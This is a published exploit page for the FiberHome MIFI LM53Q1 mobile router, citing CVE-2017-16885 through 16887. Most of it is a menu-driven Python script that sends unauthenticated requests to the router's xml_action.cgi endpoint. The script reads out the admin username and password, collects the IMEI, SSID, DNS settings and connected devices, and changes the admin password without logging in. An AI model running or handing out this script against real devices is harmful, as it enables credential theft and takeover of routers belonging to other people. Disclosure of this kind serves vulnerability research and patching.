FiberHome MIFI LM53Q1 Information Disclosure / Password Change

FiberHome MIFI LM53Q1 suffers from credential disclosure and password change vulnerabilities.


MD5 | ad025fdd2ffefcd1042e1363ec718580

#!/usr/bin/python

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# Exploit Title: FiberHome MIFI LM53Q1 Multiple Vulnerabilities
# Exploit Author: Ibad Shah
# Vendor Homepage: www.fiberhome.com
# Version: VH519R05C01S38
# Tested on: Linux
# Platform : Hardware
# CVE : CVE-2017-16885, CVE-2017-16886, CVE-2017-16887
# Greetz : Taimoor Zafar, Jawad Ahmed, Owais Mehtab, Aitezaz Mohsin, ZHC

import requests,sys,getopt,socket,struct

#Declaring IP as our global variable to probe for Gateway IP of Device
global ip

#Getting Gateway IP Address
def get_default_gateway_linux():
with open("/proc/net/route") as fh:
for line in fh:
fields = line.strip().split()
if fields[1] != '00000000' or not int(fields[3], 16) & 2:
continue
return socket.inet_ntoa(struct.pack("<L", int(fields[2], 16)))
return;


ip = get_default_gateway_linux()

exploit_title = "=============================================== \n FiberHome Remote Administrator Account Details \n================================================";


#Function to get Device Statistics
def get_device_details():

gateway = None
hardware = None
device_name = None
devices_all = ''
version = None
gateway = None
ssid = ''
dns1 = None
dns2 = None


requestStatus = requests.get("http://192.168.8.1/xml_action.cgi?method=get&module=duster&file=status1")
api_response = requestStatus.content.replace('\t','').split('\n')
for results in api_response:
if "<hardware_version>" in results:
hardware = results.replace('<hardware_version>','').replace('</hardware_version>','').replace(' ','').replace('\n','')
if "<device_name>" in results:
device_name = results.replace('<device_name>','').replace('</device_name>','').replace(' ','').replace('\n','')
if "<version_num>" in results:
version = results.replace('<version_num>','').replace('</version_num>','').replace(' ','').replace('\n','')
if "<gateway>" in results:
gateway = results.replace('<gateway>','').replace('</gateway>','').replace(' ','').replace('\n','')
if "<ssid>" in results:
ssid = results.replace('<ssid>','').replace('</ssid>','').replace('\n','')
if "<dns1>" in results:
dns1 = results.replace('<dns1>','').replace('</dns1>','').replace(' ','').replace('\n','')
if "<dns2>" in results:
dns2 = results.replace('<dns2>','').replace('</dns2>','').replace(' ','').replace('\n','')
if "<IMEI>" in results:
imei = results.replace('<IMEI>','').replace('</IMEI>','').replace(' ','').replace('\n','')
print "\n=============================================="

print "\nHardware Version of Device : "+hardware+"\n"
print "\nName of Device : "+device_name+"\n"
print "\nSoftware Version of Device : "+version+"\n"
print "\nIMEI of Device! : "+imei+"\n"
print "\nWiFi SSID of Device : "+ssid+"\n"
print "\nGateway of Zong Device : "+gateway+"\n"
print "\nDNS Primary of Device : "+dns1+"\n"
print "\nDNS Secondary of Device : "+dns2+"\n"
print "\n=============================================================================\n";
if "<known_devices_list>" in results:
devices_all = results.replace('<known_devices_list>','').replace('</known_devices_list>','').replace('\n','')
print "\nConnected Devices to WIFI\n"
print devices_all


#Function for getting User Account Details to login to Portal
def get_user_account_details():
request = requests.get("http://"+ip+"/xml_action.cgi?method=get&module=duster&file=admin")
admin_details = request.content.replace('\t','').split('\n')
for admin_login_response in admin_details:
if "<router_username>" in admin_login_response:
username = admin_login_response.replace('<router_username>','').replace('</router_username>','')
if "<router_password>" in admin_login_response:
password = admin_login_response.replace('<router_password>','').replace('</router_password>','')
print "\nUsername of Device Web Application :\n"+username+" "
print "Password of Device Web Application :\n"+password+"\n"
print "\n=============================================================================\n";


#Function to change Administrator Password

def change_admin_password():
set_password = raw_input("\nEnter Password to Change : ")
password = str(set_password)
xml = "<?xml version='1.0' encoding='UTF-8'?><RGW><management><router_password>"+password+"</router_password></management></RGW>"
headers = {'Content-Type': 'application/xml'}
change_password_request = requests.post("http://"+ip+"/xml_action.cgi?method=set&module=duster&file=admin", data=xml, headers=headers).text
print "Password Changed!"


def main():

print exploit_title
print "\nSelect Menu For Fetching Details \n \n 1. Get Portal Login & Password. \n 2. Get Other Details. \n 3. Change Admin Password for Device"

get_option = raw_input("\n Enter Option : ");

option = int(get_option)

if get_option == "1":

get_user_account_details()

raw_input("\n Press Any Key To Exit");

elif get_option == "2":

get_device_details()

raw_input("\n Press Any Key To Exit");

elif get_option == "3":

change_admin_password()

elif get_option == "":

print "Good Bye!";

else:

print "Goodbye!";

main()

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